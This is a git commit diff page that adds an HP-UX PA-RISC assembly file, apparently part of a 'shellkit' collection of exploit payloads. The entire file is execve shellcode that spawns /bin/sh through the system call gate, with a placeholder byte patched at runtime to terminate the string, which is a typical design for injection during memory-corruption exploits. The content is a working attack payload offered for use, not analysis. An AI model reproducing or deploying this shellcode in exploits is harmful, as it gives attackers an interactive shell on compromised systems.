diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/hppa_hpux/execvesh.s | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/shellkit/hppa_hpux/execvesh.s')
| -rw-r--r-- | other/shellkit/hppa_hpux/execvesh.s | 36 |
1 files changed, 36 insertions, 0 deletions
diff --git a/other/shellkit/hppa_hpux/execvesh.s b/other/shellkit/hppa_hpux/execvesh.s new file mode 100644 index 0000000..49b1b33 --- /dev/null +++ b/other/shellkit/hppa_hpux/execvesh.s | |||
| @@ -0,0 +1,36 @@ | |||
| 1 | |||
| 2 | .LEVEL 1.1 | ||
| 3 | |||
| 4 | .SPACE $TEXT$ | ||
| 5 | .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=44 | ||
| 6 | |||
| 7 | .EXPORT main,ENTRY,PRIV_LEV=3,ARGW0=GR,ARGW1=GR | ||
| 8 | main | ||
| 9 | bl cbegin, %r1 | ||
| 10 | nop | ||
| 11 | |||
| 12 | .align 4 | ||
| 13 | |||
| 14 | .SUBSPA $DATA$ | ||
| 15 | .EXPORT cbegin | ||
| 16 | |||
| 17 | cbegin | ||
| 18 | bl moo,%r26 | ||
| 19 | moo | ||
| 20 | addi,> 0x3b,%r0,%r22 | ||
| 21 | addi,< 0x1d,%r26,%r26 | ||
| 22 | stw %r0,4(%sp) | ||
| 23 | stw %r26,0(%sp) | ||
| 24 | xor %r0,%sp,%r25 | ||
| 25 | xor %r24,%r24,%r24 | ||
| 26 | |||
| 27 | ldil L%0xc0000004,%r21 | ||
| 28 | ble R%0xc0000004(%sr7,%r21) | ||
| 29 | stbs %r0,7(%r26) | ||
| 30 | |||
| 31 | .STRING "/bin/sh\x41" | ||
| 32 | |||
| 33 | .EXPORT cend | ||
| 34 | cend | ||
| 35 | nop | ||
| 36 | |||
